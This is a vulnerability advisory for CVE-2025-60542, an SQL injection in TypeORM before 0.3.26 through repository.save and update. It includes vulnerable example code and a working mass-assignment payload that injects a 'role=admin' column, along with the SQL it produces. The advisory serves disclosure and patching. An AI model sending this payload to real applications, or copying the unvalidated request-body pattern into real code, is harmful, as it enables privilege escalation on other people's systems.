CVE-2025-60542
TypeORM vulnerable to SQL injection via crafted request to repository.save or repository.update
Impact
### Summary SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false. ### Details Vulnerable Code: ```js const { username, city, name} = req.body; const updateData = { username, city, name, id:userId }; // Developer aims to only allow above three fields to be updated const result = await userRepo.save(updateData); ``` Intended Payload (non-malicious): ` username=myusername&city=Riga&name=Javad ` _OR_ `{username:\"myusername\",phone:12345,name:\"Javad\"} ` SQL query produced: ```sql UPDATE `user` SET `username` = 'myusername', `city` = 'Riga', `name` = 'Javad' WHERE `id` IN (1); ``` Malicious Payload: `username=myusername&city[name]=Riga&city[role]=admin ` _OR_ `{username:\"myusername\",city:{name:\"Javad\",role:\"admin\"}} ` SQL query produced with Injected Column: ```sql UPDATE `user` SET `username` = 'myusername', `city` = `name` = 'Javad', `role` = 'admin' WHERE `id` IN (1); ``` _Above query is valid as `city` = `name` = `Javad` is a boolean expression resulting in `city` = 1 (false). “role” column is injected and updated._ Underlying issue was due to TypeORM using mysql2 [without specifying a value for the stringifyObjects option](https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts). In both mysql and mysql2 this [option defaults to false](https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection_config.js#L124). This option is then passed into [SQLString library as false](https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/base/connection.js#L524). This results in sqlstring [parsing objects in a strange way using objectToValues.](https://github.com/mysqljs/sqlstring/blob/cd528556b4b6bcf300c3db515026935dedf7cfa1/lib/SqlString.js#L54)
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | typeorm | < 0.3.26 | 0.3.26 |
Affected products
| Product | Affected versions |
|---|---|
| TypeORM | before 0.3.26 |
Versions were read from the advisory text. No structured product data has been published for this record yet.
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/typeorm/typeorm/pull/11574
- https://github.com/typeorm/typeorm/releases/tag/0.3.26
- https://github.com/typeorm/typeorm/releases?q=security&expanded=true
- https://medium.com/@alizada.cavad/cve-2025-60542-typeorm-mysql-sqli-0-3-25-a1b32bc60453
- https://github.com/advisories/GHSA-q2pj-6v73-8rgj
- https://nvd.nist.gov/vuln/detail/CVE-2025-60542
- https://github.com/typeorm/typeorm/commit/d57fe3bd8578b0b8f9847647fd046bccf825a7ef
- https://github.com/mysqljs/sqlstring/blob/cd528556b4b6bcf300c3db515026935dedf7cfa1/lib/SqlString.js#L54
- https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/base/connection.js#L524
- https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection_config.js#L124
- https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts